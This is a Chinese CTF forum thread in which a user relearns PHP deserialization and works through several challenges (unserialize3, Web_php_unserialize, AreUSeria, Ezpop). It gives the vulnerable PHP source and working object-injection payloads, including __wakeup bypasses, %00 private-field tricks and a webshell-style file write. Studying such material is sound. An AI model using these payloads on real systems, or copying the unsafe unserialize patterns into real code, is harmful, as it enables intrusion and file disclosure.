序列化
ctf吧
全部回复
仅看楼主
level 7
-L 楼主
今天做题,序列化忘得一干二净
重新学习下
序列化函数:serialize()
反序列化函数:unserialize()
2022年06月15日 11点06分 1
level 7
-L 楼主
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<?php
show_source(__FILE__);
$str="hahaha";
$arr=array('name' =>'aoo' ,'age'=>20 );
class a{
public $a=1;
}
class b{
public $b=1;
public function seta(){
$b=0;
}
}
$obj=new b();
$obj->seta();
echo "字符:".serialize($str)."<br>";
echo "数组:".serialize($arr)."<br>";
echo "对象序列化:".serialize($obj);
?>
2022年06月15日 11点06分 2
-L
观察下序列化的结构
2022年06月15日 12点06分
level 7
-L 楼主
php中有一类特殊的方法叫“Magicfunction”
构造函数__construct():当对象创建(new)时会自动调用。
析构函数__destruct()和__wakeup():当对象被销毁时会自动调用。
例题:
<?php
show_source(__FILE__);
class xu{
var $test = 'abcd';
function __wakeup(){
$fp = fopen("1.php","w") ;
fwrite($fp,$this->test);
fclose($fp);
}
}
$class3 = $_GET['test'];
print_r($class3);
echo "</br>";
$class3_unser = unserialize($class3);
require "1.php";
思考一下怎么向1.php中写入我们想要的东西,比如写入phpinfo
2022年06月15日 12点06分 4
-L
?test=O:3:"xul":1:{s:4:"test";s:18:"<?php phpinfo();?>";}
2022年06月15日 12点06分
level 7
-L 楼主
在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行
如:O:3:"xul":1:{s:4:"test";s:18:"<?php phpinfo();?>";}
改为:O:3:"xul":2:{s:4:"test";s:18:"<?php phpinfo();?>";}
攻防世界unserialize3
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
2022年06月15日 21点06分 6
-L
?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
2022年06月15日 21点06分
level 7
-L 楼主
攻防世界:Web_php_unserialize
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
}else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
2022年06月15日 22点06分 7
-L
因为是 privateO:4:“Demo”:1:{s:10:“Demofile”;s:8:“fl4g.php”;} 里有%00截断。s:10:“Demofile”,demofile是八个字母,加上两个%00,一共是10个。对她进行替换后再base64加密
2022年06月15日 22点06分
-L
?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
2022年06月15日 22点06分
level 7
-L 楼主
上一题
private 声明的字段为私有字段,只在所声明的类中可见,因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度。其中 \0 字符也是计算长度的。

[极客大挑战 2019]PHP
2022年06月15日 22点06分 8
-L
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
2022年06月15日 22点06分
level 2
gu3
等今天下午考完信息安全数学基础,我也要玩ctf[泪][泪][泪]
2022年06月16日 00点06分 9
-L
加油一起
2022年06月16日 15点06分
level 5
贴吧死了好久了,好不容易有人发
2022年06月16日 02点06分 10
level 5
PHP在调用一个对象中不存在的方法时会调用call方法
2022年06月16日 02点06分 11
level 5
在PHP7版本以上时如果存在unserialize方法就执行unserialize 方法跳过weakup
2022年06月16日 02点06分 12
-L
学习
2022年06月16日 15点06分
level 1
不错
2022年06月17日 00点06分 13
level 7
-L 楼主
[网鼎杯 2020 青龙组]AreUSeria
lz

<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
2022年06月24日 22点06分 14
-L
将属性改为public 。因为php7.1+版本对属性类型不敏感。
2022年06月24日 22点06分
-L
当我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示(%00 用\00表示)
2022年06月24日 22点06分
level 7
-L 楼主
[MRCTF2020]Ezpop
<?php
//flag is in flag.php
//WTF IS THIS
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
2022年07月02日 04点07分 16
-L
解题和payload见https://tieba.baidu.com/p/7890596810 9楼
2022年07月02日 04点07分
level 7
-L 楼主
反序列化字符逃逸可以做下面几个题目
buuctf:
[安洵杯 2019]easy_serialize_php
piapiapia
bugku:
newphp
2022年07月05日 12点07分 18
1